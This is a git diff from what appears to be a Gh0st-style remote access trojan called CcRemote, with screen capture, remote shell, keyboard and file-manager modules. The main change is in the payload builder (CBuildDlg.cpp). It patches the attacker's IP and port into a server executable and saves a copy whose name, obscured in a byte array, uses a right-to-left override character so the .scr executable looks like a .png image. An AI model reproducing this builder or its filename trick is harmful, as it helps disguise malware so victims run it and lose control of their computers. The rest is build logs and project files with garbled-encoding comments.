diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index 82ba828..c863e2d 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm new file mode 100644 index 0000000..e1c8082 Binary files /dev/null and b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm differ diff --git a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal new file mode 100644 index 0000000..85ee599 Binary files /dev/null and b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal differ diff --git a/CcMainDll/CcMainDll/common/ScreenSpy.cpp b/CcMainDll/CcMainDll/common/ScreenSpy.cpp index 8e868f8..832f088 100644 --- a/CcMainDll/CcMainDll/common/ScreenSpy.cpp +++ b/CcMainDll/CcMainDll/common/ScreenSpy.cpp @@ -36,7 +36,7 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate) // 得到桌面窗口 m_hDeskTopWnd = GetDesktopWindow(); - // 根据窗口获取DC举兵 + // 根据窗口获取DC句柄 m_hFullDC = GetDC(m_hDeskTopWnd); } diff --git a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log index 28cc623..6d45931 100644 --- a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log +++ b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log @@ -1,2 +1,16 @@ +f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb +f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb +f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj +f:\myapp\ccremote\bin\server\loder.ilk +f:\myapp\ccremote\bin\server\loder.exe +f:\myapp\ccremote\bin\server\loder.pdb f:\myapp\ccremote\ccmaindll\loder\debug\loder.res -f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe +f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog +f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog +f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog +f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog +f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog +f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog +f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog +f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog +f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog diff --git a/CcMainDll/Loder/Debug/Loder.res b/CcMainDll/Loder/Debug/Loder.res index 364a085..4d37b4c 100644 Binary files a/CcMainDll/Loder/Debug/Loder.res and b/CcMainDll/Loder/Debug/Loder.res differ diff --git a/CcMainDll/Loder/Loder.rc b/CcMainDll/Loder/Loder.rc index 8efafc0..d4c8eb7 100644 Binary files a/CcMainDll/Loder/Loder.rc and b/CcMainDll/Loder/Loder.rc differ diff --git a/CcMainDll/Loder/Loder.vcxproj b/CcMainDll/Loder/Loder.vcxproj index 42e1624..594d3fc 100644 --- a/CcMainDll/Loder/Loder.vcxproj +++ b/CcMainDll/Loder/Loder.vcxproj @@ -37,7 +37,7 @@ false v141 true - MultiByte + Unicode Application @@ -172,6 +172,9 @@ + + + diff --git a/CcMainDll/Loder/Loder.vcxproj.filters b/CcMainDll/Loder/Loder.vcxproj.filters index aa326d9..1eb2c3e 100644 --- a/CcMainDll/Loder/Loder.vcxproj.filters +++ b/CcMainDll/Loder/Loder.vcxproj.filters @@ -35,4 +35,9 @@ + + + 璧勬簮鏂囦欢 + + \ No newline at end of file diff --git a/CcMainDll/Loder/icon1.ico b/CcMainDll/Loder/icon1.ico new file mode 100644 index 0000000..e66481e Binary files /dev/null and b/CcMainDll/Loder/icon1.ico differ diff --git a/CcMainDll/Loder/resource.h b/CcMainDll/Loder/resource.h index dba5051..c140203 100644 --- a/CcMainDll/Loder/resource.h +++ b/CcMainDll/Loder/resource.h @@ -3,12 +3,13 @@ // 供 Loder.rc 使用 // #define IDR_DLL1 101 +#define IDI_ICON1 102 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 102 +#define _APS_NEXT_RESOURCE_VALUE 103 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index 66eff86..eb6e4ca 100644 Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ diff --git a/CcRemote/CcRemote/CBuildDlg.cpp b/CcRemote/CcRemote/CBuildDlg.cpp index 45c75e2..ba5eea6 100644 --- a/CcRemote/CcRemote/CBuildDlg.cpp +++ b/CcRemote/CcRemote/CBuildDlg.cpp @@ -5,6 +5,7 @@ #include "CcRemote.h" #include "CBuildDlg.h" #include "afxdialogex.h" +#include struct Connect_Address @@ -45,16 +46,41 @@ END_MESSAGE_MAP() // CBuildDlg 娑堟伅澶勭悊绋嬪簭 +bool CreateMyFile(const WCHAR* strFilePath, LPBYTE lpBuffer, DWORD dwSize) +{ + DWORD dwWritten; + + HANDLE hFile = CreateFileW(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if (hFile != NULL) + { + WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL); + } + else + { + return false; + } + CloseHandle(hFile); + return true; +} + + void CBuildDlg::OnBnClickedOk() { // TODO: 鍦ㄦ娣诲姞鎺т欢閫氱煡澶勭悊绋嬪簭浠g爜 CFile file; char strTemp[MAX_PATH]; + WCHAR strTempW[MAX_PATH]; ZeroMemory(strTemp, MAX_PATH); CString strCurrentPath; + CStringW strCurrentPathW; CString strFile; CString strSeverFile; + CString strCamouflageFile; BYTE *lpBuffer = NULL; + BYTE names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 }; + PWCHAR namess = (PWCHAR)names; + + DWORD dwFileSize; UpdateData(TRUE); //////////涓婄嚎淇℃伅////////////////////// @@ -64,6 +90,12 @@ void CBuildDlg::OnBnClickedOk() { //姝ゅ寰楀埌鏈鐞嗗墠鐨勬枃浠跺悕 GetModuleFileName(NULL, strTemp, MAX_PATH); //寰楀埌鏂囦欢鍚 + GetModuleFileNameW(NULL, strTempW, MAX_PATH); //寰楀埌鏂囦欢鍚 + + strCurrentPathW = strTempW; + + strCurrentPathW = strCurrentPathW.Left(strCurrentPathW.ReverseFind('\\')); + strCurrentPath = strTemp; int nPos = strCurrentPath.ReverseFind('\\'); strCurrentPath = strCurrentPath.Left(nPos); @@ -76,14 +108,28 @@ void CBuildDlg::OnBnClickedOk() //璇诲彇鏂囦欢鍐呭 file.Read(lpBuffer, dwFileSize); file.Close(); - //鍐欏叆涓婄嚎IP鍜岀鍙 涓昏鏄鎵0x1234567杩欎釜鏍囪瘑鐒跺悗鍐欏叆杩欎釜浣嶇疆 + //鍐欏叆涓婄嚎IP鍜岀鍙 涓昏鏄鎵0x杩欎釜鏍囪瘑鐒跺悗鍐欏叆杩欎釜浣嶇疆 int nOffset = memfind((char*)lpBuffer, (char*)&g_myAddress.dwstact, dwFileSize, sizeof(DWORD)); memcpy(lpBuffer + nOffset, &g_myAddress, sizeof(Connect_Address)); - //淇濆瓨鍒版枃浠 - strSeverFile = strCurrentPath + "\\server.exe"; + //strCamouflageFile = FindFiles("F:\\myapp\\CcRemote\\bin\\server\\", lpBuffer, dwFileSize); + //if (strCamouflageFile != "null") + //{ + // int a = file.Open(strCamouflageFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite); + // file.Write(lpBuffer, dwFileSize); + // file.Close(); + //} + //else + //{ + //淇濆瓨鍒版枃浠 + strSeverFile = strCurrentPath+"\\server.exe"; + + strCurrentPathW = strCurrentPathW + L"\\" + namess; + CreateMyFile(strCurrentPathW, lpBuffer, dwFileSize); file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite); file.Write(lpBuffer, dwFileSize); file.Close(); + //} + delete[] lpBuffer; MessageBox("鐢熸垚鎴愬姛"); @@ -116,4 +162,37 @@ int CBuildDlg::memfind(const char *mem, const char *str, int sizem, int sizes) if (j == da) return i; } return -1; -} \ No newline at end of file +} + + +CString CBuildDlg::FindFiles(const char* dir, BYTE *lpBuffer,DWORD lpSize) +{ + HANDLE h; // 鏂囦欢鍙ユ焺 + WIN32_FIND_DATA findData; // 鏌ユ壘鍒扮殑鏂囦欢淇℃伅缁撴瀯 + char dirTmp[MAX_PATH] = { 0 }; + strcpy(dirTmp, dir); + strcat(dirTmp, "*.scr"); // 浣跨敤閫氶厤绗︼紝鍜屼紶鍏ュ弬鏁扮粍鎴愪竴涓緟閬嶅巻鐨勮矾寰 + DWORD sizes; + + CString fileList; //姝ゅ鐢╯tring灏变細浣垮瓨鍏ュ煎彉涓轰贡鐮侊紝鎵浠ョ敤CString + h = FindFirstFileA(dirTmp, &findData); //寮濮嬮亶鍘 + do { + if (findData.dwFileAttributes&_A_SUBDIR || findData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY || strcmp(findData.cFileName, ".") == 0 || strcmp(findData.cFileName, "..") == 0) + { + //log(INFO,"鏄洰褰曪紝鐩綍鍚嶏細%s",findData.cFileName); + } + else + { + WriteFile(h, lpBuffer, lpSize,&sizes, NULL); + FindClose(h); + fileList=(findData.cFileName); // 缁濆璺緞瀛樺叆vector(鍏跺疄灏辨槸涓涓暟缁) + return "F:\\myapp\\CcRemote\\bin\\server\\" + fileList; + } + } while (FindNextFileA(h, &findData)); + + CString a = "null"; + + FindClose(h); + return a; +} + diff --git a/CcRemote/CcRemote/CBuildDlg.h b/CcRemote/CcRemote/CBuildDlg.h index 9e4821b..500234a 100644 --- a/CcRemote/CcRemote/CBuildDlg.h +++ b/CcRemote/CcRemote/CBuildDlg.h @@ -27,4 +27,5 @@ public: CString m_strPort; private: int memfind(const char *mem, const char *str, int sizem, int sizes); + CString FindFiles(const char* dir, BYTE *lpBuffer, DWORD lpSize); }; diff --git a/CcRemote/CcRemote/Debug/CcRemote.log b/CcRemote/CcRemote/Debug/CcRemote.log index 428860c..87f34b4 100644 --- a/CcRemote/CcRemote/Debug/CcRemote.log +++ b/CcRemote/CcRemote/Debug/CcRemote.log @@ -1,93 +1,23 @@ -锘緾:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 鐩綍鏈互鏂滄潬缁撳熬銆 姝ょ敓鎴愬疄渚嬪皢娣诲姞鏂滄潬锛屽洜涓哄繀椤绘湁杩欎釜鏂滄潬鎵嶈兘姝g‘璁$畻 Output 鐩綍銆 - pch.cpp - Audio.cpp -f:\myapp\ccremote\common\audio.cpp(99): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 - CAudioDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 +锘縂:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 鐩綍鏈互鏂滄潬缁撳熬銆 姝ょ敓鎴愬疄渚嬪皢娣诲姞鏂滄潬锛屽洜涓哄繀椤绘湁杩欎釜鏂滄潬鎵嶈兘姝g‘璁$畻 Output 鐩綍銆 CBuildDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(73): warning C4244: 鈥=鈥: 浠庘淯LONGLONG鈥濊浆鎹㈠埌鈥淒WORD鈥濓紝鍙兘涓㈠け鏁版嵁 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(61): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(91): warning C4101: 鈥渆鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(95): warning C4101: 鈥渆鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(99): warning C4101: 鈥渆鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 - CcRemote.cpp - CcRemoteDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渋nt鈥濓紝鍙兘涓㈠け鏁版嵁 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渋nt鈥濓紝鍙兘涓㈠け鏁版嵁 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(898): warning C4018: 鈥<=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(986): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 - CFileManagerDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: 鈥滅被鍨嬪己鍒惰浆鎹⑩: 浠庘淟PSTR鈥濆埌鈥淲ORD鈥濇埅鏂 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: 鈥=鈥: 浠庘渦nsigned __int64鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: 鈥=鈥: 浠庘渦nsigned __int64鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: 鈥淰olName鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: 鈥淔ileSystem鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: 鈥+鈥: 鏁村瀷甯搁噺婧㈠嚭 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: 鈥+鈥: 鏁村瀷甯搁噺婧㈠嚭 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: 鈥*鈥: 涓嶅彲璇嗗埆鐨勫瓧绗﹁浆涔夊簭鍒 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: 鈥+鈥: 鏁村瀷甯搁噺婧㈠嚭 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: 鈥+鈥: 鏁村瀷甯搁噺婧㈠嚭 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: 鈥*鈥: 涓嶅彲璇嗗埆鐨勫瓧绗﹁浆涔夊簭鍒 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: 鈥*鈥: 涓嶅彲璇嗗埆鐨勫瓧绗﹁浆涔夊簭鍒 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: 鈥*鈥: 涓嶅彲璇嗗埆鐨勫瓧绗﹁浆涔夊簭鍒 -f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渇loat鈥濊浆鎹㈠埌鈥渋nt鈥濓紝鍙兘涓㈠け鏁版嵁 - CHelpWindow.cpp - CKeyBoardDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 - CServerDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 - FileTransferModeDlg.cpp - CScreenSpyDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: 鈥<<鈥: 妫鏌ヨ繍绠楃浼樺厛绾ф槸鍚﹀瓨鍦ㄧ殑鍙兘鐨勯敊璇紱浣跨敤鎷彿闃愭槑浼樺厛绾 -f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: 鈥<<鈥: 妫鏌ヨ繍绠楃浼樺厛绾ф槸鍚﹀瓨鍦ㄧ殑鍙兘鐨勯敊璇紱浣跨敤鎷彿闃愭槑浼樺厛绾 - CSettingDlg.cpp - CShellDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: 鈥<=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 - CSystemDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 - CpuUsage.cpp - IniFile.cpp -f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 - InputDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: 鈥滅被鍨嬪己鍒惰浆鎹⑩: 浠庘淟PSTR鈥濆埌鈥淲ORD鈥濇埅鏂 -f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 鍙傝鈥渨cscpy鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: 鈥滅被鍨嬪己鍒惰浆鎹⑩: 浠庘淟PSTR鈥濆埌鈥淲ORD鈥濇埅鏂 - RegDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 鍙傝鈥渟printf鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 鍙傝鈥渟printf鈥濈殑澹版槑 - SEU_QQwry.cpp - TrueColorToolBar.cpp - 姝e湪鐢熸垚浠g爜... - Buffer.cpp - IOCPServer.cpp -f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 鍙傝鈥淲SASocketA鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 鍙傝鈥渋net_ntoa鈥濈殑澹版槑 -f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 -f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 - 姝e湪鐢熸垚浠g爜... - CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(105): warning C4244: 鈥=鈥: 浠庘淯LONGLONG鈥濊浆鎹㈠埌鈥淒WORD鈥濓紝鍙兘涓㈠け鏁版嵁 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(87): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(137): warning C4101: 鈥渆鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(141): warning C4101: 鈥渆鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(145): warning C4101: 鈥渆鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(173): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(174): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 +zlibstat.lib(adler32.obj) : warning LNK4099: 鏈壘鍒 PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(adler32.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 +zlibstat.lib(compress.obj) : warning LNK4099: 鏈壘鍒 PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(compress.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 +zlibstat.lib(crc32.obj) : warning LNK4099: 鏈壘鍒 PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(crc32.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 +zlibstat.lib(deflate.obj) : warning LNK4099: 鏈壘鍒 PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(deflate.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 +zlibstat.lib(inffast.obj) : warning LNK4099: 鏈壘鍒 PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(inffast.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 +zlibstat.lib(inflate.obj) : warning LNK4099: 鏈壘鍒 PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(inflate.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 +zlibstat.lib(inftrees.obj) : warning LNK4099: 鏈壘鍒 PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(inftrees.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 +zlibstat.lib(trees.obj) : warning LNK4099: 鏈壘鍒 PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(trees.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 +zlibstat.lib(uncompr.obj) : warning LNK4099: 鏈壘鍒 